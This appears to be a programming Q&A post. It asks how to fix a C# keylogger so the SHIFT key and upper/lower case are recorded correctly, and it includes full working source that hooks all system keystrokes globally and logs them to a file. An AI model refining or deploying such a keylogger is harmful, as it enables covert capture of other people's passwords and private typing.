How to properly capture user's keystrokes in C#, i.e. respecting SHIFT key and differentiating between upper/lower-case characters? : I have written the following C# program to capture the user's keystrokes.

It works perfectly, except that all keys are logged as lower-case without taking the SHIFT key into account (see below).

I have read all of the Win32 API's documentation. Still I much be missing something.

How can I correct this program to log keystrokes properly? 

If I enter `HelloWorld!!!`, the following keys are output in log.txt:



    h
    e
    l
    l
    o
    w
    o
    r
    l
    d
    1
    1
    1

I.e., it does not consider SHIFT, which is the purpose of `GetKeyboardState()`?

The program:

    using System;
    using System.IO;
    using System.Diagnostics;
    using System.Runtime.InteropServices;
    using System.Windows.Forms;
    using System.Text;
    
    namespace CSharpKeyLogger
    {
        public static class Program
        {
            [DllImport("user32.dll")]
            private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);
    
            [DllImport("user32.dll")]
            private static extern bool UnhookWindowsHookEx(IntPtr hhk);
    
            [DllImport("user32.dll")]
            private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
    
            [DllImport("kernel32.dll")]
            private static extern IntPtr GetModuleHandle(string lpModuleName);
    
            [DllImport("user32.dll", CharSet = CharSet.Auto)]
            public static extern int GetKeyboardState(byte[] keystate);
    
            [DllImport("user32.dll", CharSet = CharSet.Auto)]
            public static extern int MapVirtualKey(uint uCode, int uMapType);
    
            [DllImport("user32.dll", CharSet = CharSet.Auto)]
            public static extern int ToUnicode(uint wVirtKey, uint wScanCode, byte[] lpkeystate, System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags);
    
            private const int WH_KEYBOARD_LL = 13;
            private const int WM_KEYDOWN = 0x0100;
    
            private const int MAPVK_VK_TO_VSC = 0;
    
            private const int BUFF_SZ = 4;
    
            private const string logFileName = "log.txt";
            private static StreamWriter logFile;
    
            private static HookProc hookProc = HookCallback;
            private static IntPtr hookId = IntPtr.Zero;
    
            public static void Main()
            {
                logFile = File.AppendText(logFileName);
                logFile.AutoFlush = true;
    
                hookId = SetHook(hookProc);
                Application.Run();
                UnhookWindowsHookEx(hookId);
            }
    
            private static IntPtr SetHook(HookProc hookProc)
            {
                IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
                return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
            }
    
            private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);
    
            private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam)
            {
                if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
                {
                    uint vkCode = (uint)Marshal.ReadInt32(lParam);
    
                    byte[] kb = new byte[256];
                    GetKeyboardState(kb);
    
                    StringBuilder buf = new StringBuilder(BUFF_SZ + 1);
    
                    switch(ToUnicode(vkCode, (uint)MapVirtualKey(vkCode, MAPVK_VK_TO_VSC), kb, buf, BUFF_SZ, 0))
                    {
                        case -1:
                            break;
                        case 0:
                            break;
                        case 1:
                        case 2:
                        case 3:
                        case 4:
                            logFile.WriteLine(buf.ToString());
                            break;
                    }
                }
    
                return CallNextHookEx(hookId, nCode, wParam, lParam);
            }
        }
    }
